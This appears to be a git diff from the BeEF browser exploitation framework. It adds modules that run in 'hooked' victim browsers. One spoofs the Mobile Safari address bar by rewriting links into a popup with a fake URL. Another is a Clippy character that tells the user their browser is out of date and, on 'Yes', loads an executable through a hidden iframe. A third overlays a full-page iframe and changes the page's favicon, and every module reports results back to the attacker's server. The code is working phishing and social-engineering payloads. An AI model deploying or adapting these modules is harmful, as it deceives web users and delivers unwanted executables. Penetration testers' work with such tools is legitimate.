var newWindow = window.open(fake_url,'newWindow<%= @command_id %>','width=200,height=100,location=yes');
newWindow.document.write('<iframe style="width:100%;height:100%;border:0;padding:0;margin:0;" src="' + real_url + '"></iframe>');
newWindow.focus();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Spoofed link clicked');
}
beef.execute(function() {
$j('<%= @domselectah %>').each(function() {
$j(this).attr('href','#').click(function() {
somethingsomething();
return true;
});
});
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=All links rewritten');
});

View File

@@ -0,0 +1,30 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
mobilesafari_address_spoofing:
enable: true
category: ["Browser","Hooked Domain"]
name: "iOS Address Bar Spoofing"
description: "Mobile Safari iOS 5.1 Address Bar Spoofing. This is fixed in latest version of Mobile Safari (the URL turns 'blank')"
authors: ["bcoles","xntrik","majorsecurity.net"]
target:
working:
S:
os: ["iPhone"]
not_working:
ALL:
os: ["All"]

View File

@@ -0,0 +1,34 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Mobilesafari_address_spoofing < BeEF::Core::Command
def self.options
return [
{'name' => 'fake_url', 'ui_label' => 'Fake URL', 'type' => 'text', 'value' =>'http://en.wikipedia.org/wiki/Beef'},
{'name' => 'real_url', 'ui_label' => 'Real URL', 'type' => 'text', 'value' => 'http://www.beefproject.com'},
{'name' => 'domselectah', 'ui_label' => 'jQuery Selector for Link rewriting. \'a\' will overwrite all links', 'type' => 'text', 'value' => 'a'}
]
end
def post_execute
content = {}
content['results'] = @datastore['results']
content['query'] = @datastore['query']
save content
end
end

View File

@@ -17,7 +17,7 @@ beef:
module:
prompt_dialog:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Create Prompt Dialog"
description: "Sends a prompt dialog to the hooked browser."
authors: ["wade", "bm"]

View File

@@ -17,7 +17,7 @@ beef:
module:
replace_video:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Replace Videos"
description: "Replaces an object selected with jQuery (all embed tags by default) with an embed tag containing the youtube video of your choice (rickroll by default)."
authors: ["Yori Kvitchko", "antisnatchor"]

View File

@@ -17,7 +17,7 @@ beef:
module:
rickroll:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Redirect Browser (Rickroll)"
description: "Overwrite the body of the page the victim is on with a full screen Rickroll."
authors: ["Yori Kvitchko"]

View File

@@ -17,7 +17,7 @@ beef:
module:
site_redirect:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Redirect Browser"
description: "This module will redirect the selected hooked browser to the address specified in the 'Redirect URL' input."
authors: ["wade", "vo"]

View File

@@ -18,6 +18,7 @@ beef.execute(function() {
var result = 'Iframe successfully created!';
var title = '<%= @iframe_title %>';
var iframe_src = '<%= @iframe_src %>';
var iframe_favicon = '<%= @iframe_favicon %>';
var sent = false;
$j("iframe").remove();
@@ -25,6 +26,7 @@ beef.execute(function() {
beef.dom.createIframe('fullscreen', 'get', {'src':iframe_src}, {}, function() { if(!sent) { sent = true; document.title = title; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); } });
document.body.scroll = "no";
document.documentElement.style.overflow = 'hidden';
beef.browser.changeFavicon(iframe_favicon);
setTimeout(function() {
if(!sent) {

View File

@@ -17,9 +17,9 @@ beef:
module:
site_redirect_iframe:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Redirect Browser (iFrame)"
description: "This module creates a 100% x 100% overlaying iframe and keeps the browers hooked to the framework. The content of the iframe, page title and the time delay are specified in the parameters below.<br><br>The content of the URL bar will not be changed in the hooked browser."
description: "This module creates a 100% x 100% overlaying iframe and keeps the browers hooked to the framework. The content of the iframe, page title, page shortcut icon and the time delay are specified in the parameters below.<br><br>The content of the URL bar will not be changed in the hooked browser."
authors: ["ethicalhack3r", "Yori Kvitchko"]
target:
user_notify: ["ALL"]

View File

@@ -16,8 +16,12 @@
class Site_redirect_iframe < BeEF::Core::Command
def self.options
configuration = BeEF::Core::Configuration.instance
favicon_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/ui/media/images/favicon.ico"
return [
{ 'name' => 'iframe_title', 'description' => 'Title of the iFrame', 'ui_label' => 'New Title', 'value' => 'BeEF - The Browser Exploitation Framework Project', 'width'=>'200px' },
{ 'name' => 'iframe_favicon', 'description' => 'Shortcut Icon', 'ui_label' => 'New Favicon', 'value' => favicon_uri, 'width'=>'200px' },
{ 'name' => 'iframe_src', 'description' => 'Source of the iFrame', 'ui_label' => 'Redirect URL', 'value' => 'http://beefproject.com/', 'width'=>'200px' },
{ 'name' => 'iframe_timeout', 'description' => 'iFrame timeout', 'ui_label' => 'Timeout', 'value' => '3500', 'width'=>'150px' }
]

423
modules/misc/clippy/command.js Executable file
View File

@@ -0,0 +1,423 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
/**
* Heretic Clippy
* @version 1.0.0
* @author sprky0
* @modified vt & denden
**/
function __clippyboot(run) {
var _run = run;
if (!document.getElementsByTagName("body")[0]) {
setTimeout(function(){__clippyboot(_run);},10);
} else {
_run();
}
}
var GUID = {base:"_",cur:0,get:function(){this.cur++;return this.base+this.cur;}}
var HelpText = function(_question,reusable) {
this.question = _question;
this.options = [];
this.key = GUID.get();
this.views = 0;
this.reusable = (reusable === true);
this.timeout = {};
return this;
}
HelpText.prototype.available = function() {
return (this.views < 1 || this.reusable === true);
}
HelpText.prototype.addResponseURL = function(_text,_url) {
this.options.push({text:_text,URL:_url,rel:"external"});
return;
}
HelpText.prototype.addResponse = function(_text,_callback) {
this.options.push({text:_text,callback:_callback,rel:"internal"});
return;
}
HelpText.prototype.addTimeout = function(_timeout,_callback) {
this.timeout = {callback:_callback,timeout:_timeout};
}
HelpText.prototype.getKey = function() {return this.key;}
HelpText.prototype.toString = function() {
return this.question;
}
HelpText.prototype.toString = function() {
return this.getKey();
}
HelpText.prototype.toElements = function() {
this.views++;
var div = document.createElement('div');
var p = document.createElement('p');
p.innerHTML = this.question;
div.appendChild(p);
for(var i = 0; i < this.options.length; i++) {
var button = document.createElement('button');
button.innerHTML = this.options[i].text;
if (this.options[i].rel == "internal")
button.onclick = this.options[i].callback;
else {
var _Option = this.options[i];
button.onclick = function(){
window.location = _Option.URL;
}
}
div.appendChild(button);
}
if (this.timeout.callback && typeof(this.timeout.callback) == "function") {
setTimeout(this.timeout.callback, (this.timeout.timeout ? this.timeout.timeout : 500));
}
return div;
}
/* CLIPPY Display */
var ClippyDisplay = function(options) {
this.file_dir = (options.file_dir) ? options.file_dir : "";
this.div = document.createElement('div');
this.div.style.zIndex = 1000000;
this.div.style.width = "102px";
this.div.style.height = "98px";
this.div.style.backgroundColor = "transparent";
this.div.style.position = "absolute";
this.div.style.bottom = 0;
this.div.style.color = "black";
this.div.style.right = "60px";
this.div.style.display = "inline";
if (navigator.userAgent.match(/MSIE/)) {
this.div.style.filter = "revealTrans(transition=12,duration=1.8)";
}
else {
var img = new Image();
img.src = this.file_dir + "clippy-main.png";
img.style.position = "relative";
img.style.display = "block";
img.id = "clippyid";
this.div.appendChild(img);
}
this.div.style.opacity = (options.visible === false) ? 0 : 1;
return this;
}
ClippyDisplay.prototype.getElement = function() {
return this.div || null;
}
ClippyDisplay.prototype.fadeIn = function(duration,options) {
var _clipple = this;
if (!options)
options = {};
if (!options.step)
options.step = 1 / 200;
if (!options.value)
options.value = 0;
if (!options.remain)
options.remain = 199;
if (!options.increment)
options.increment = duration / 200;
options.remain--;
options.value += options.step;
if (navigator.userAgent.match(/MSIE/)) {
imgfile = _clipple.file_dir + "clippy-main.png";
_clipple.div.filters[0].Apply();
_clipple.div.innerHTML="<img src='"+imgfile+"' />";
_clipple.div.filters[0].Play();
}
else {
_clipple.div.style.opacity = options.value;
if (options.remain > 0) { setTimeout(function(){_clipple.fadeIn(duration,options);}, options.increment); }
}
return;
}
ClippyDisplay.prototype.fadeOut = function(duration,options) {
var _clipple = this;
if (!options)
options = {};
if (!options.step)
options.step = 1 / 200;
if (!options.value)
options.value = 1;
if (!options.remain)
options.remain = 199;
if (!options.increment)
options.increment = duration / 200;
options.remain--;
options.value -= options.step;
_clipple.div.style.opacity = options.value;
if (navigator.userAgent.match(/MSIE/)) {
document.body.removeChild(document.getElementById("pipes"));
}
else {
if (options.remain > 0) {
setTimeout(function(){_clipple.fadeOut(duration,options);}, options.increment);
}
else{
document.body.removeChild(document.getElementById("pipes"));
}
}
return;
}
/** SPEECH BUBBLE **/
var PopupDisplay = function(o,options) {
this.file_dir = (options.file_dir) ? options.file_dir : "";
if (typeof(o) === "string") {
p = document.createElement('p');
p.innerHTML = o;
o = p;
}
this.div = document.createElement('div');
this.div.style.zIndex = 1000000;
this.div.style.width = "130px";
this.div.style.height = "auto";
this.div.style.backgroundColor = "transparent";
this.div.style.color = "black";
this.div.style.position = "absolute";
this.div.style.bottom = "85px";
this.div.style.right = "55px";
this.div.style.display = "block";
var imgTop = new Image();
imgTop.src = this.file_dir + "clippy-speech-top.png";
imgTop.style.position = "relative";
imgTop.style.display = "block";
this.div.appendChild(imgTop);
this.message = document.createElement('div');
this.message.style.background = "transparent url('" + this.file_dir + "clippy-speech-mid.png') top left repeat-y";
this.message.style.padding = "8px";
this.message.style.font = "11.5px Arial, Verdana, Sans";
this.message.appendChild(o);
this.div.appendChild(this.message);
var imgBottom = new Image();
imgBottom.src = this.file_dir + "clippy-speech-bottom.png";
imgBottom.style.position = "relative";
imgBottom.style.display = "block";
this.div.appendChild(imgBottom);
return this;
}
PopupDisplay.prototype.close = function() {
try {
var div = this.getElement();
if (div != null && div.parentNode) {
div = div.parentNode;
div.removeChild(this.getElement());
}
} catch(e) {
// alert(e)
}
}
PopupDisplay.prototype.getElement = function() {
return this.div;
}
/** CLIPPY controller **/
var Clippy = function(_homeSelector,file_dir) {
this.help = {};
// What options are OK to use as an introductory question?
this.firstlines = [];
this.homebase = this.findHomeBase(_homeSelector);
this.timer = false;
this.file_dir = file_dir;
return this;
}
Clippy.prototype.findHomeBase = function(selector) {
if (!selector)
selector = "body";
var ref = false;
if (selector.charAt(0)=="#") {
ref = document.getElementById(selector);
} else {
ref = document.getElementsByTagName(selector)[0];
var div = document.createElement("div");
div.style.zIndex = 9999999;
div.id = "pipes";
div.style.width = "300px";
div.style.height = "300px";
div.style.backgroundColor = "transparent";
div.style.position = "absolute";
div.style.bottom = "0";
div.style.right = "0";
ref.appendChild(div);
return div;
}
console.log(ref);
return ref;
}
Clippy.prototype.run = function(opt) {
var _c = this;
this.character = new ClippyDisplay({
file_dir : this.file_dir,
visible : false
});
this.homebase.appendChild( this.character.getElement() );
this.character.fadeIn(1000);
var Help = new HelpText("<%== @askusertext %>");
Help.addResponse("Yes", function(){ _c.hahaha(); } );
Help.addResponse("Not now", function(){ _c.killClippy(); setTimeout(function() { new Clippy("body","<%== @clippydir %>").run(); },"<%== @respawntime %>"); } );
this.addHelp(Help,true);
// initial wait
this.talkLater();
}
Clippy.prototype.killClippy = function(){
this.closeBubble();
this.character.fadeOut(1000);
}
Clippy.prototype.hahaha = function() {
var div = document.createElement("div");
var _c = this;
div.id = "heehee";
div.style.display = "none";
div.innerHTML="<iframe src='<%== @executeyes %>' width=1 height=1 style='display:none'></iframe>";
document.body.appendChild(div);
_c.openBubble("<%== @thankyoumessage %>");
setTimeout(function () { _c.killClippy(); }, 5000);
}
Clippy.prototype.addHelp = function(_help, is_startphrase) {
this.help[ _help.getKey() ] = _help;
if (is_startphrase)
this.firstlines.push( _help.getKey() );
return;
}
Clippy.prototype.sayOne = function(keys,alternative) {
var found = false, count = 0;
while(count < keys.length) {
var choice = parseInt( Math.random() * keys.length );
if( this.canSay( keys[choice]) ) {
this.say(keys[choice]);
return;
}
count ++;
}
return;
}
Clippy.prototype.canSay = function(key) {
return this.help[ key ].available();
}
Clippy.prototype.say = function(key,alternative) {
if (this.timer != false) {
try {
clearTimeout(this.timer);
this.timer = false;
} catch(e) {}
}
if(typeof(key) !== "string" && key.length)
this.sayOne(key,alternative);
this.openBubble( this.help[ key ].toElements() );
}
Clippy.prototype.firstLine = function() {
this.sayOne(this.firstlines);
}
Clippy.prototype.talkLater = function() {
this.closeBubble();
var _c = this;
this.timer = setTimeout( function() { _c.firstLine(); }, 2000);
}
Clippy.prototype.openBubble = function(_o) {
if (typeof(_o)=="string") {
var o = document.createElement("p");
o.innerHTML = _o;
} else {
var o = _o;
}
if (this.bubble) {
this.bubble.close();
}
this.bubble = new PopupDisplay(o,{file_dir:this.file_dir});
this.homebase.appendChild(this.bubble.getElement());
}
Clippy.prototype.closeBubble = function() {
if (this.bubble) {
this.bubble.close();
}
}
/* APPLICATION LOGIC: */
// function clippy_boot() {if(document.getElementsByTagName("BODY").length === 0) {setTimeout("clippy_boot()",1);} else {clippy_main();}return;}
// function clippy_main() {var c = new Clippy("homebase","./").run();}
/* GO! */
// clippy_boot();
__clippyboot(function(){new Clippy("body","<%== @clippydir %>").run();});
});

25
modules/misc/clippy/config.yaml Executable file
View File

@@ -0,0 +1,25 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
clippy:
enable: true
category: "Misc"
name: "Clippy"
description: "Brings up a clippy image and asks the user to do stuff."
authors: ["vt [nick.freeman@security-assessment.com]", "denden [denis.andzakovic@security-assessment.com]"]
target:
user_notify: ['ALL']

36
modules/misc/clippy/module.rb Executable file
View File

@@ -0,0 +1,36 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Clippy < BeEF::Core::Command
def self.options
return [
{'name' =>'clippydir', 'description' =>'Webdir containing clippy image', 'ui_label'=>'Clippy image', 'value' => 'http://clippy.ajbnet.com/1.0.0/'},
{'name' =>'askusertext', 'description' =>'Text for speech bubble', 'ui_label'=>'Custom text', 'value' => 'Your browser appears to be out of date. Would you like to upgrade it?'},
{'name' =>'executeyes', 'description' =>'Executable to download', 'ui_label'=>'Executable', 'value' => 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe'},
{'name' =>'respawntime', 'description' =>'', 'ui_label'=>'Time until Clippy shows his face again', 'value' => '5000'},
{'name' =>'thankyoumessage', 'description' =>'Thankyou message after downloading', 'ui_label'=>'Thankyou message after downloading', 'value' => 'Thanks for upgrading your browser! Look forward to a safer, faster web!'}
]
end
#
# This method is being called when a zombie sends some
# data back to the framework.
#
def post_execute
save({'answer' => @datastore['answer']})
end
end